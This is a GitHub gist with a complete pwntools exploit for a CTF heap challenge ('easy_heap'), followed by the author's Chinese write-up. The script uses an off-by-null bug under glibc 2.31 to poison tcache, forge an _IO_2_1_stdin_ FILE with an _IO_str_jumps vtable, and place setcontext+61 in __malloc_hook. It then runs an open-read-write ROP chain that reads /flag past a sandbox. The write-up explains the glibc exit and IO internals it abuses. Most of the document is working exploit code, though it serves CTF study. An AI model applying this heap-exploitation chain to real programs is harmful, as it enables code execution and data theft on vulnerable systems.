Skip to content

Instantly share code, notes, and snippets.

@Mech0n
Created September 18, 2020 14:21
Show Gist options
  • Save Mech0n/43bb087bfe0fbe9f80dbccb815f5cab3 to your computer and use it in GitHub Desktop.
Save Mech0n/43bb087bfe0fbe9f80dbccb815f5cab3 to your computer and use it in GitHub Desktop.
setcontext+61 && off by null 2.31
#! /usr/bin/python
#-*- coding: utf-8 -*-
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64' , os = 'linux', log_level='debug')
# p = process(['setarch', 'x86_64', '-R', './easy_heap'])
p = process('./easy_heap')
libc = ELF('./libc.so')
def add(size):
p.sendlineafter('Choice:', str(1))
p.sendlineafter('Size: ', str(size))
def edit(idx, payload):
p.sendlineafter('Choice:', str(2))
p.sendlineafter('Index: ', str(idx))
p.sendafter('Content: ', payload)
def delete(idx):
p.sendlineafter('Choice:', str(3))
p.sendlineafter('Index: ', str(idx))
def show(idx):
p.sendlineafter('Choice:', str(4))
p.sendlineafter('Index: ', str(idx))
if __name__ == "__main__":
add(0x1000) # 0
add(0x1000) # 1
delete(0)
add(0x1000) # 0
show(0)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1ebbe0
success('LIBC: ' + str(hex(libc.address)))
delete(0)
delete(1)
for i in range(6): # 0 - 5
add(0x1000)
add(0xbc0) # 6
for i in range(7): # 7 - 13
add(0x28)
add(0xb20) # 14
add(0x10) # 15 binary
delete(14)
add(0x1000) # 14
add(0x28) # 16 *
payload = p64(0) + p64(0x521) + p8(0x40)
edit(16, payload)
add(0x28) # 17
add(0x28) # 18
add(0x28) # 19
add(0x28) # 20
for i in range(7): # 7 - 13
delete(7 + i )
delete(19)
delete(17)
for i in range(7): # 7 - 13
add(0x28)
add(0x400) # 17
add(0x28) # 19
payload = p64(0) + p8(0x20)
edit(19, payload)
add(0x28) # 21
for i in range(7): # 7 - 13
delete(7 + i )
delete(18)
delete(16)
for i in range(7): # 7 - 13
add(0x28)
add(0x28) # 16
payload = p8(0x20)
edit(16, payload)
add(0x28) # 18
add(0x28) # 22
add(0x5f8) # 23
add(0x100) # 24 binary
payload = 'a' * 0x20 + p64(0x520)
edit(22, payload)
delete(23)
'''
pwndbg> x/40gx 0x555555558400
0x555555558460: 0x00005555555592a0 0x000055555555a2b0
0x555555558470: 0x000055555555b2c0 0x000055555555c2d0
0x555555558480: 0x000055555555d2e0 0x000055555555e2f0
0x555555558490: 0x000055555555f300 0x000055555555fed0
0x5555555584a0: 0x000055555555ff00 0x000055555555ff30
0x5555555584b0: 0x000055555555ff60 0x000055555555ff90
0x5555555584c0: 0x000055555555ffc0 0x000055555555fff0
0x5555555584d0: 0x0000555555560b70 0x0000555555560b50
0x5555555584e0: 0x0000555555560020 0x0000555555560110 # 17
0x5555555584f0: 0x0000555555560080 0x0000555555560050
0x555555558500: 0x00005555555600e0 0x00005555555600b0
0x555555558510: 0x0000555555560520 0x0000000000000000 # 23
0x555555558520: 0x0000555555561b80 0x0000000000000000
0x555555558530: 0x0000000000000000 0x0000000000000000
pwndbg> bins
all: 0x555555560020 __ 0x7ffff7fb7be0 (main_arena+96) __ 0x555555560020 /* ' ' */
'''
__free_hook = libc.sym['__free_hook']
__malloc_hook = libc.sym['__malloc_hook']
stdin = libc.sym['_IO_2_1_stdin_']
IO_str_jumps = libc.address + 0x1ed560
setcontext = libc.sym['setcontext']
open_ = libc.sym['open']
read_ = libc.sym['read']
write_ = libc.sym['write']
puts_ = libc.sym['puts']
pop_rdi_ret = 0x0000000000026b72 + libc.address
pop_rsi_ret = 0x0000000000027529 + libc.address
pop_rdx2ret = 0x00000000001626d6 + libc.address
frame = SigreturnFrame()
frame.rax = 0
frame.rsp = __free_hook
frame.rdi = 0
frame.rsi = __free_hook
frame.rdx = 0x2000
frame.rip = read_
rop = flat([
pop_rdi_ret,
__free_hook + 0xf8,
p64(pop_rsi_ret),
p64(0),
open_,
pop_rdi_ret,
3,
pop_rsi_ret,
__free_hook + 0x200,
pop_rdx2ret,
0x100,
0x100,
read_,
pop_rdi_ret,
__free_hook + 0x200,
puts_,
])
rop = str(rop).ljust(0xf8, '\x00')
rop += '/flag\x00\x00\x00'
add(0xd0) # 23
add(0x200) # 25 == 17
add(0x200) # 26
add(0xf0) # 27
delete(26)
delete(25)
payload = p64(stdin)
edit(17, payload)
add(0x200) #25
add(0x200) #26 == __free_hook
IO = '\x00'*0x28
IO += p64(stdin + 0xe0)
IO = IO.ljust(0xD8,'\x00')
IO += p64(IO_str_jumps)
IO += str(frame)
payload = IO + 'F' * 0x18 + p64(setcontext + 61)
edit(26, payload)
gdb.attach(p)
p.sendlineafter('Choice:','5')
p.sendline(rop)
p.interactive()
@Mech0n
Copy link
Author

Mech0n commented Sep 18, 2020

羊城杯 easy_heap

0x1 前置补偿

[原创]glibc2.29下的off-by-null

0x2 分析

程序有个Off by null。所以首先就是在2.31下的off by null来劫持tcache bin。由于程序有沙盒,所以然后使用malloc_hook和IO配合setcontext来ORW。因为2.31下的setcontext的用法里使用的是rdx,不再是rdi,这里就参考了FMYY师傅的方法来使用setcontext的。

所以ORW的流程就是:

  • malloc(0x1000)来leak libc

  • off by null

  • 覆盖stdin来使用setcontext

  • ORW

这里就只记录一下setcontext这里是怎么使用的。

首先setcontext的代码部分:

.text:00000000000580A0 setcontext      proc near               ; CODE XREF: sub_5E5F0+80↓p
.text:00000000000580A0                                         ; DATA XREF: LOAD:000000000000C810↑o
.text:00000000000580A0 ; __unwind {
.text:00000000000580A0                 endbr64
.text:00000000000580A4                 push    rdi
.text:00000000000580A5                 lea     rsi, [rdi+128h] ; nset
.text:00000000000580AC                 xor     edx, edx        ; oset
.text:00000000000580AE                 mov     edi, 2          ; how
.text:00000000000580B3                 mov     r10d, 8         ; sigsetsize
.text:00000000000580B9                 mov     eax, 0Eh
.text:00000000000580BE                 syscall                 ; LINUX - sys_rt_sigprocmask
.text:00000000000580C0                 pop     rdx
.text:00000000000580C1                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:00000000000580C7                 jnb     loc_581EF
.text:00000000000580CD                 mov     rcx, [rdx+0E0h]
.text:00000000000580D4                 fldenv  byte ptr [rcx]
.text:00000000000580D6                 ldmxcsr dword ptr [rdx+1C0h]

.text:00000000000580DD                 mov     rsp, [rdx+0A0h]
.text:00000000000580E4                 mov     rbx, [rdx+80h]
.text:00000000000580EB                 mov     rbp, [rdx+78h]
.text:00000000000580EF                 mov     r12, [rdx+48h]
.text:00000000000580F3                 mov     r13, [rdx+50h]
.text:00000000000580F7                 mov     r14, [rdx+58h]
.text:00000000000580FB                 mov     r15, [rdx+60h]
.text:00000000000580FF                 test    dword ptr fs:48h, 2
.text:000000000005810B                 jz      loc_581C6

.text:00000000000581C6 loc_581C6:                              ; CODE XREF: setcontext+6B↑j
.text:00000000000581C6                 mov     rcx, [rdx+0A8h]
.text:00000000000581CD                 push    rcx
.text:00000000000581CE                 mov     rsi, [rdx+70h]
.text:00000000000581D2                 mov     rdi, [rdx+68h]
.text:00000000000581D6                 mov     rcx, [rdx+98h]
.text:00000000000581DD                 mov     r8, [rdx+28h]
.text:00000000000581E1                 mov     r9, [rdx+30h]
.text:00000000000581E5                 mov     rdx, [rdx+88h]
.text:00000000000581E5 ; } // starts at 580A0
.text:00000000000581EC ; __unwind {
.text:00000000000581EC                 xor     eax, eax
.text:00000000000581EE                 retn

可以看到,我们假设这里控制了rdx指向我们伪造的frame(通过SigreturnFrame()),然后跳到setcontext + 61就可以设置程序,这段代码结束之后,我们会去运行frame.rip,最后retframe.rsp

所以我们的打算是在这里通过frame.rip去运行read()函数来写入ORW的ROP链。然后通过frame.rsp来到这段ROP链执行ORW拿到flag。

现在需要说说怎么折腾这个rdx了。(参考菜鸡的 Pwn 08 IO_FILE 利用)

exit()中,实际运行的是__run_exit_handlers()

void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
  
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
                     bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)
      __call_tls_dtors ();
  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (true)
    {
      struct exit_function_list *cur;
      __libc_lock_lock (__exit_funcs_lock);
    restart:
      cur = *listp;
      if (cur == NULL)
        {
          /* Exit processing complete.  We will not allow any more
             atexit/on_exit registrations.  */
          __exit_funcs_done = true;
          __libc_lock_unlock (__exit_funcs_lock);
          break;
        }
      while (cur->idx > 0)
        {
          struct exit_function *const f = &cur->fns[--cur->idx];
          const uint64_t new_exitfn_called = __new_exitfn_called;
          /* Unlock the list while we call a foreign function.  */
          __libc_lock_unlock (__exit_funcs_lock);
          switch (f->flavor)
            {
              void (*atfct) (void);
              void (*onfct) (int status, void *arg);
              void (*cxafct) (void *arg, int status);
            case ef_free:
            case ef_us:
              break;
            case ef_on:
              onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (onfct);
#endif
              onfct (status, f->func.on.arg);
              break;
            case ef_at:
              atfct = f->func.at;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (atfct);
#endif
              atfct ();
              break;
            case ef_cxa:
              /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
                 we must mark this function as ef_free.  */
              f->flavor = ef_free;
              cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (cxafct);
#endif
              cxafct (f->func.cxa.arg, status);
              break;
            }
          /* Re-lock again before looking at global state.  */
          __libc_lock_lock (__exit_funcs_lock);
          if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
            /* The last exit function, or another thread, has registered
               more exit functions.  Start the loop over.  */
            goto restart;
        }
      *listp = cur->next;
      if (*listp != NULL)
        /* Don't free the last element in the chain, this is the statically
           allocate element.  */
        free (cur);
      __libc_lock_unlock (__exit_funcs_lock);
    }
  if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());
  _exit (status);
}

这里通过cur也就是exit_function_list来调用到了_IO_cleanup()

int
_IO_cleanup (void)
{
  /* We do *not* want locking.  Some threads might use streams but
     that is their problem, we flush them underneath them.  */
  int result = _IO_flush_all_lockp (0);
  /* We currently don't have a reliable mechanism for making sure that
     C++ static destructors are executed in the correct order.
     So it is possible that other static destructors might want to
     write to cout - and they're supposed to be able to do so.
     The following will make the standard streambufs be unbuffered,
     which forces any output from late destructors to be written out. */
  _IO_unbuffer_all ();
  return result;
}

这里就到了稍微有些熟悉的_IO_flush_all_lockp()

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)
        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

在这个函数里,遍历_IO_list_all,里面就有_IO_2_1_stdin_

然后加入条件满足((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)),就会执行_IO_OVERFLOW (fp, EOF)

假设我们修改了vtable指针指向_IO_str_jumps,就会运行__GI__IO_str_overflow,(偷懒直接断点断在了malloc(),发现是在_IO_str_overflow()里面调用了malloc,这样我们就可以用___malloc_hook来使用setcontext

int
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
        return EOF;
      else
        {
          char *new_buf;
          char *old_buf = fp->_IO_buf_base;
          size_t old_blen = _IO_blen (fp);
          size_t new_size = 2 * old_blen + 100;
          if (new_size < old_blen)
            return EOF;
          new_buf = malloc (new_size);
          if (new_buf == NULL)
            {
              /*          __ferror(fp) = 1; */
              return EOF;
            }
          if (old_buf)
            {
              memcpy (new_buf, old_buf, old_blen);
              free (old_buf);
              /* Make sure _IO_setb won't try to delete _IO_buf_base. */
              fp->_IO_buf_base = NULL;
            }
          memset (new_buf + old_blen, '\0', new_size - old_blen);
          _IO_setb (fp, new_buf, new_buf + new_size, 1);
          fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
          fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
          fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
          fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
          fp->_IO_write_base = new_buf;
          fp->_IO_write_end = fp->_IO_buf_end;
        }
    }
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}
libc_hidden_def (_IO_str_overflow)

可以发现在[Line27]我们去调用了malloc(),但是我们还是没说到rdx是怎么指向的frame的。

这段的汇编代码里,对比上面的代码,我们发现在IOFILE的flag0的时候就会一直运行到malloc(),在这个过程中,可以看到[Line19]中设置了rdx,这时rdi自然是_IO_2_1_stdin_里面的数据,只要伪造这个位置的数据即可。

pwndbg> x/40i 0x7ffff7e62b30
   0x7ffff7e62b30 <__GI__IO_str_overflow>:      endbr64
   0x7ffff7e62b34 <__GI__IO_str_overflow+4>:    push   r15
   0x7ffff7e62b36 <__GI__IO_str_overflow+6>:    push   r14
   0x7ffff7e62b38 <__GI__IO_str_overflow+8>:    push   r13
   0x7ffff7e62b3a <__GI__IO_str_overflow+10>:   push   r12
   0x7ffff7e62b3c <__GI__IO_str_overflow+12>:   push   rbp
   0x7ffff7e62b3d <__GI__IO_str_overflow+13>:   mov    ebp,esi
   0x7ffff7e62b3f <__GI__IO_str_overflow+15>:   push   rbx
   0x7ffff7e62b40 <__GI__IO_str_overflow+16>:   sub    rsp,0x28
   0x7ffff7e62b44 <__GI__IO_str_overflow+20>:   mov    eax,DWORD PTR [rdi]
   0x7ffff7e62b46 <__GI__IO_str_overflow+22>:   test   al,0x8
   0x7ffff7e62b48 <__GI__IO_str_overflow+24>:   jne    0x7ffff7e62cb0 <__GI__IO_str_overflow+384>
   0x7ffff7e62b4e <__GI__IO_str_overflow+30>:   mov    edx,eax
   0x7ffff7e62b50 <__GI__IO_str_overflow+32>:   mov    rbx,rdi
   0x7ffff7e62b53 <__GI__IO_str_overflow+35>:   and    edx,0xc00
   0x7ffff7e62b59 <__GI__IO_str_overflow+41>:   cmp    edx,0x400
   0x7ffff7e62b5f <__GI__IO_str_overflow+47>:   je     0x7ffff7e62c90 <__GI__IO_str_overflow+352>
   0x7ffff7e62b65 <__GI__IO_str_overflow+53>:   mov    rdx,QWORD PTR [rdi+0x28]
   0x7ffff7e62b69 <__GI__IO_str_overflow+57>:   mov    r14,QWORD PTR [rbx+0x38]
   0x7ffff7e62b6d <__GI__IO_str_overflow+61>:   mov    r12,QWORD PTR [rbx+0x40]
   0x7ffff7e62b71 <__GI__IO_str_overflow+65>:   xor    ecx,ecx
   0x7ffff7e62b73 <__GI__IO_str_overflow+67>:   mov    rsi,rdx
   0x7ffff7e62b76 <__GI__IO_str_overflow+70>:   sub    r12,r14
   0x7ffff7e62b79 <__GI__IO_str_overflow+73>:   cmp    ebp,0xffffffff
   0x7ffff7e62b7c <__GI__IO_str_overflow+76>:   sete   cl
   0x7ffff7e62b7f <__GI__IO_str_overflow+79>:   sub    rsi,QWORD PTR [rbx+0x20]
   0x7ffff7e62b83 <__GI__IO_str_overflow+83>:   add    rcx,r12
   0x7ffff7e62b86 <__GI__IO_str_overflow+86>:   cmp    rcx,rsi
   0x7ffff7e62b89 <__GI__IO_str_overflow+89>:   ja     0x7ffff7e62c5a <__GI__IO_str_overflow+298>
   0x7ffff7e62b8f <__GI__IO_str_overflow+95>:   test   al,0x1
   0x7ffff7e62b91 <__GI__IO_str_overflow+97>:   jne    0x7ffff7e62cd0 <__GI__IO_str_overflow+416>
   0x7ffff7e62b97 <__GI__IO_str_overflow+103>:  lea    r15,[r12+r12*1+0x64]
   0x7ffff7e62b9c <__GI__IO_str_overflow+108>:  cmp    r12,r15
   0x7ffff7e62b9f <__GI__IO_str_overflow+111>:  ja     0x7ffff7e62cd0 <__GI__IO_str_overflow+416>
   0x7ffff7e62ba5 <__GI__IO_str_overflow+117>:  mov    rdi,r15
   0x7ffff7e62ba8 <__GI__IO_str_overflow+120>:  call   0x7ffff7df1310 <malloc@plt>
   0x7ffff7e62bad <__GI__IO_str_overflow+125>:  mov    r13,rax
   0x7ffff7e62bb0 <__GI__IO_str_overflow+128>:  test   rax,rax
   0x7ffff7e62bb3 <__GI__IO_str_overflow+131>:  je     0x7ffff7e62cd0 <__GI__IO_str_overflow+416>
   0x7ffff7e62bb9 <__GI__IO_str_overflow+137>:  test   r14,r14

所以在这些步骤完成后,我们就成功利用exit()通过setcontext调用了read()函数读取ROP链,并实现了栈迁移。

@Mech0n
Copy link
Author

Mech0n commented Sep 18, 2020

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment